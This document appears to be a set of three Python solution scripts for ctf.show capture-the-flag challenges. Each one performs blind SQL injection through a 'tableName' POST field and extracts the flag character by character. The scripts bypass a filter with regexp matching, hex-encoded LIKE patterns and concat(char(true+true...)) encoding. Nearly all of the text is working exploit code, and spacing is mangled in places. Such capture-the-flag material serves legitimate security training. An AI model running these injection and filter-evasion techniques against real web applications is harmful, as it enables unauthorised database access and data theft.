import time import requests charset ="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" uri = "http://08d72d82-6ecb-419c-be80-5e829ccfa913.challenge.ctf.show/select-waf.php"
flag = "" for i inrange(0,34): for char in charset: data={ "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+char) }
response = requests.post(url=uri, data=data) time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print(f"ok :===={char}") flag += char break else: continue print("ctfshow"+flag)
import time import requests charset ="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" uri = "http://f953800e-2783-40cd-8dd5-cba1f18f3c95.challenge.ctf.show/select-waf.php"
flag = "" for i inrange(0,40): for char in charset: data={ "tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+char)) }
response = requests.post(url=uri, data=data) time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print(f"ok :===={char}") flag += char break else: continue print("ctfshow{"+flag)
defformatString(str): # 构造concat函数 temp="concat(" for x instr: tip=0 if x in string.digits: tmp=int(x) else: tip=1 temp+="char(" tmp=ord(x)
if tmp == 0: temp+="false" else: temp_d="(" for i inrange(0,tmp): temp_d+="true+" temp_d=temp_d[:-1]+")"# 去除最后一个+并闭合 if tip == 1: temp_d+=")" temp+=temp_d temp+="," temp=temp[:-1]+")"# 去除最后一个,并闭合 return temp
url="http://07712fb8-f25a-4698-bdf8-9e504f7619e3.challenge.ctf.show/select-waf.php" dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" flag="ctfshow{" for i inrange(0,40): for x in dic: data={ "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x)) } response=requests.post(url,data=data) time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("[**] {} is right".format(x)) flag+=x break print("[flag]:"+flag)